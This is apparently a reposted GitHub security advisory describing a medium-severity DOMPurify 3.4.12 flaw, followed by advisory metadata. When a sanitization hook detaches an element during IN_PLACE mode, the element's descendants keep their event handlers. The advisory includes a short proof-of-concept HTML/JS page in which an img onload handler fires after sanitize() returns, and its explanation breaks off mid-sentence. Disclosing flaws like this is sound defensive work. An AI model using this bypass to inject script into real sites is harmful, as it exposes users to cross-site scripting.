GHSA-55q2-fjhq-7xh7
### Summary During `IN_PLACE` sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided `onload` handler and fire after `sanitize()` returns, even though the returned root is clean and the image remains disconnected from the document. ### Details In DOMPurify 3.4.12, `_sanitizeElements()` in `src/purify.ts:1862-1904` runs the `beforeSanitizeElements` or `uponSanitizeElement` hook and returns immediately when the hook detached the current node. The return does not call `_neutralizeSubtree(currentNode)`. The detached subtree is not added to `DOMPurify.removed`, so the post-walk `IN_PLACE` neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization. The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization. ### PoC Load the published `[email protected]` `dist/purify.js` before this script in Chromium: ```html <div id="result">not fired</div> <script> const root = document.createElement('div'); root.innerHTML = ` <footer> <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" onload="result.textContent = 'XSS after sanitize'"> </footer> <div>safe</div>`; DOMPurify.setConfig({ ALLOWED_TAGS: ['div', '#text', 'footer'], IN_PLACE: true }); DOMPurify.addHook('uponSanitizeElement', node => { if (node.tagName === 'FOOTER') node.remove(); }); DOMPurify.sanitize(root); document.body.append(root); </script> ``` `sanitize()` returns with no handler execution and the returned root contains only the safe `div`. After the event loop advances, the original image remains disconnected but its retained `
Properties
- ghsa_id
- GHSA-55q2-fjhq-7xh7
- severity
- medium
- summary
- DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS
- cve_id
- GHSA-55q2-fjhq-7xh7
- is_ghsa_only
- true
- ghsa_published
- 2026-08-07T15:30:47Z
- source_url
- https://github.com/advisories/GHSA-55q2-fjhq-7xh7
- ghsa_updated
- 2026-08-07T15:30:48Z
Related Entities (4)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (1)
REPORTED_BY (1)
Explore deeper with Ninja Signal's threat intelligence graph